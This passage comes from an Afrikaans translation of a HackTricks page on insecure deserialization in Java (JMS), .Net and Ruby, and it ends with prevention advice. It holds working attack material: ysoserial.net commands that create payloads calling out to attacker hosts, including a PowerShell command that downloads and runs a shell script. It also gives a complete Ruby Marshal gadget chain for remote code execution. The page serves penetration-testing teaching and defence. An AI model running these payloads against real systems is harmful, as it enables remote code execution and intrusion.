• https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
• https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
• https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
• Java en .Net JSON deserialisasie artikel: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, praat: https://www.youtube.com/watch?v=oUAeWhW5b8c en dia's: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
• Deserialisasie CVE's: https://paper.seebug.org/123/

JNDI Injeksie & log4Shell

Vind uit wat JNDI Injeksie is, hoe om dit te misbruik via RMI, CORBA & LDAP en hoe om log4shell te benut (en 'n voorbeeld van hierdie kwesbaarheid) op die volgende bladsy:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Berigdiens

Die Java Berigdiens (JMS) API is 'n Java-gebaseerde beriggeoriënteerde middelware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent-verbruiker-probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat ontwikkel is deur Sun Microsystems, maar wat sedertien deur die Java Community Process gelei word. Dit is 'n berigstandaard wat dit moontlik maak vir toepassingskomponente wat op Java EE gebaseer is om boodskappe te skep, stuur, ontvang en lees. Dit maak die kommunikasie tussen verskillende komponente van 'n verspreide toepassing losgekoppeld, betroubaar en asinkronies. (Van Wikipedia).

Produkte

Daar is verskeie produkte wat hierdie middelware gebruik om boodskappe te stuur:

Uitbuiting

Dus, daar is basies 'n klomp dienste wat JMS op 'n gevaarlike manier gebruik. As jy dus genoeg voorregte het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige geloofsbriewe nodig hê), kan jy in staat wees om skadelike voorwerpe te stuur wat geserialiseer word en deur die verbruiker/geabonneerde gedeserialiseer word.
Dit beteken dat in hierdie uitbuiting al die kliënte wat daardie boodskap gaan gebruik, geïnfekteer sal word.

Onthou dat selfs as 'n diens kwesbaar is (omdat dit gebruikersinvoer onveilig deserialiseer), moet jy steeds geldige gadgets vind om die kwesbaarheid uit te buit.

Die instrument JMET is geskep om verbind en val hierdie dienste aan deur verskeie skadelike voorwerpe te stuur wat geserialiseer word met bekende gadgets. Hierdie uitbuitings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is.

Verwysings

• JMET praat: https://www.youtube.com/watch?v=0h8DWiOWGGA
• Dia's: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

.Net

In die konteks van .Net werk deserialisasie-uitbuitings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets uitgebuit word om spesifieke kode uit te voer tydens die deserialisasie van 'n voorwerp.

Vingerafdruk

WhiteBox

Die bronkode moet ondersoek word vir voorkomste van:

1. TypeNameHandling
2. JavaScriptTypeResolver

Die fokus moet wees op serializeerders wat die tipe toelaat om bepaal te word deur 'n veranderlike onder gebruikersbeheer.

BlackBox

Die soektog moet gemik wees op die Base64-gekodeerde string AAEAAAD///// of enige soortgelyke patroon wat dalk gedeserializeer word aan die kant van die bediener, wat beheer oor die tipe wat gedeserializeer moet word, verleen. Dit kan insluit, maar is nie beperk tot nie, JSON of XML strukture met TypeObject of $type.

ysoserial.net

In hierdie geval kan jy die instrument ysoserial.net gebruik om die deserialisering-uitbuitings te skep. Nadat die git-opberging afgehaal is, moet jy die instrument kompileer met behulp van Visual Studio, byvoorbeeld.

As jy wil leer oor hoe ysoserial.net sy uitbuitings skep, kan jy hierdie bladsy raadpleeg waar die ObjectDataProvider-gadget + ExpandedWrapper + Json.Net-formatter verduidelik word.

Die hoofopsies van ysoserial.net is: --gadget, --formatter, --output en --plugin.

• --gadget word gebruik om die gadget aan te dui wat misbruik moet word (d.w.s. die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
• --formatter word gebruik om die metode aan te dui om die uitbuiting te serializeer (jy moet weet watter biblioteek die agterkant gebruik om die nutslading te deserialiseer en dieselfde een gebruik om dit te serializeer)
• --output word gebruik om aan te dui of jy die uitbuiting in rof of Base64-gekodeerde formaat wil hê. Let daarop dat ysoserial.net die nutslading sal kodeer met behulp van UTF-16LE (die standaardkodering wat op Windows gebruik word), so as jy die rof formaat kry en dit net vanaf 'n Linux-konsole kodeer, kan jy enige koderingsverenigbaarheidsprobleme hê wat die uitbuiting verhoed om behoorlik te werk (in HTB JSON-boks het die nutslading in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk nie).
• --plugin ysoserial.net ondersteun plugins om uitbuitings vir spesifieke raamwerke soos ViewState te skep

Meer ysoserial.net parameters

• --minify sal 'n kleiner nutslading voorsien (indien moontlik)
• --raf -f Json.Net -c "iets" Dit sal al die gadgets aandui wat met 'n spesifieke formatter (Json.Net in hierdie geval) gebruik kan word
• --sf xml jy kan 'n gadget aandui (-g) en ysoserial.net sal soek na formatters wat "xml" bevat (hoofletterongevoelig)

ysoserial-voorbeelde om uitbuitings te skep:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net het ook 'n baie interessante parameter wat help om beter te verstaan hoe elke uitbuit werk: --test
As jy hierdie parameter aandui, sal ysoserial.net die uitbuit plaaslik probeer, sodat jy kan toets of jou payload korrek sal werk.
Hierdie parameter is nuttig omdat as jy die kode deurloop, sal jy stukke kode soos die volgende een vind (vanaf ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Dit beteken dat om die uitbuiting te toets, sal die kode serializersHelper.JsonNet_deserialize aanroep.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In die vorige kode is vatbaar vir die skep van 'n uitbuiting. As jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat die toepassing ook vatbaar is.
Daarom stel die --toets parameter ons in staat om te verstaan watter stukke kode vatbaar is vir die deserialisasie-uitbuiting wat ysoserial.net kan skep.

ViewState

Neem 'n kyk na hierdie POST oor hoe om te probeer om die __ViewState-parameter van .Net uit te buit om arbitrêre kode uit te voer. As jy reeds die geheime ken wat deur die slagoffer masjien gebruik word, lees hierdie pos om te weet hoe om kode uit te voer.

Voorkoming

Om die risiko's wat verband hou met deserialisasie in .Net te verminder:

• Vermy dat datastrome hul objek tipes definieer. Maak gebruik van DataContractSerializer of XmlSerializer waar moontlik.

• Stel TypeNameHandling vir JSON.Net in op None: %%%TypeNameHandling = TypeNameHandling.None%%%

• Vermy om JavaScriptSerializer met 'n JavaScriptTypeResolver te gebruik.

• Beperk die tipes wat gedeserialiseer kan word, en verstaan die inherente risiko's met .Net tipes, soos System.IO.FileInfo, wat die eienskappe van bedienerlêers kan wysig en moontlik lei tot ontkenning van diensaanvalle.

• Wees versigtig met tipes wat risikovolle eienskappe het, soos System.ComponentModel.DataAnnotations.ValidationException met sy Value eienskap, wat uitgebuit kan word.

• Beheer die instansiasie van tipes veilig om te voorkom dat aanvallers die deserialisasieproses beïnvloed, selfs DataContractSerializer of XmlSerializer kwesbaar maak.

• Implementeer witlysbeheer deur 'n aangepaste SerializationBinder vir BinaryFormatter en JSON.Net te gebruik.

• Bly op hoogte van bekende onveilige deserialisasie gadgets binne .Net en verseker dat deserialiseerders nie sulke tipes instansieer nie.

• Isoleer potensieel risikovolle kode van kode met internettoegang om bekende gadgets, soos System.Windows.Data.ObjectDataProvider in WPF-toepassings, te beskerm teen onbetroubare data-bronne.

Verwysings

• Java en .Net JSON deserialisasie artikel: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, praatjie: https://www.youtube.com/watch?v=oUAeWhW5b8c en dia's: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
• https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
• https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
• https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization

Ruby

In Ruby word serialisasie fasiliteer deur twee metodes binne die marshal-biblioteek. Die eerste metode, bekend as dump, word gebruik om 'n objek in 'n byte-stroom te omskep. Hierdie proses word serialisasie genoem. Omgekeerd word die tweede metode, load, gebruik om 'n byte-stroom terug te skakel na 'n objek, 'n proses wat deserialisasie genoem word.

Vir die beveiliging van geserialiseerde objekte, maak Ruby gebruik van HMAC (Hash-Based Message Authentication Code) om die integriteit en egtheid van die data te verseker. Die sleutel wat vir hierdie doel gebruik word, word gestoor op een van verskeie moontlike plekke:

• config/environment.rb
• config/initializers/secret_token.rb
• config/secrets.yml
• /proc/self/environ

Ruby 2.X generiese deserialisasie na RCE gadget-ketting (meer inligting in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ander RCE-ketting om Ruby On Rails te misbruik: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github repos.